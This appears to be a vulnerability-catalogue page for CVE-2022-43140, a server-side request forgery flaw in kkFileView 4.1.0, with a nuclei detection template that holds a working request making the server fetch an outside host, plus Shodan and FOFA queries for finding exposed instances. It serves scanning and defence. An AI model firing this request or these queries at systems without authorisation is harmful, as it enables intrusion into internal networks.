Browse / CVEs / CVE-2022-43140
CVE-2022-43140· keking / kkfileview· CWE-918
kkFileView 4.1.0 - Server-Side Request Forgery
kkFileView 4.1.0 is susceptible to server-side request forgery via the component cn.keking.web.controller.OnlinePreviewController#getCorsFile. An attacker can force the application to make arbitrary requests via injection of crafted URLs into the url parameter and thereby potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
Impact
Successful exploitation of this vulnerability could lead to unauthorized access to internal resources, potential data leakage, and further attacks on the server.
Fix
Apply the latest security patches or updates provided by the vendor to fix the SSRF vulnerability in kkFileView 4.1.0.
How to confirm it
Send: GET {{BaseURL}}/getCorsFile?urlPath={{base64('https://oast.me')}}
Positive when: contains "<h1> Interactsh Server </h1>"Run it with nuclei: nuclei -id CVE-2022-43140 -u <target>
The full check
id: CVE-2022-43140
info:
name: kkFileView 4.1.0 - Server-Side Request Forgery
author: Co5mos
severity: high
description: |
kkFileView 4.1.0 is susceptible to server-side request forgery via the component cn.keking.web.controller.OnlinePreviewController#getCorsFile. An attacker can force the application to make arbitrary requests via injection of crafted URLs into the url parameter and thereby potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability could lead to unauthorized access to internal resources, potential data leakage, and further attacks on the server.
remediation: |
Apply the latest security patches or updates provided by the vendor to fix the SSRF vulnerability in kkFileView 4.1.0.
reference:
- https://github.com/kekingcn/kkFileView/issues/392
- https://nvd.nist.gov/vuln/detail/CVE-2022-43140
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
cvss-score: 7.5
cve-id: CVE-2022-43140
cwe-id: CWE-918
epss-score: 0.02119
epss-percentile: 0.8202
cpe: cpe:2.3:a:keking:kkfileview:4.1.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: keking
product: kkfileview
shodan-query:
- http.html:"kkFileView"
- http.html:"kkfileview"
fofa-query:
- app="kkFileView"
- app="kkfileview"
- body="kkfileview"
tags: cve2022,cve,ssrf,kkFileview,keking,vuln
http:
- method: GET
path:
- "{{BaseURL}}/getCorsFile?urlPath={{base64('https://oast.me')}}"
matchers:
- type: word
part: body
words:
- "<h1> Interactsh Server </h1>"References
Use this check only on systems you are authorised to test. Where the data comes from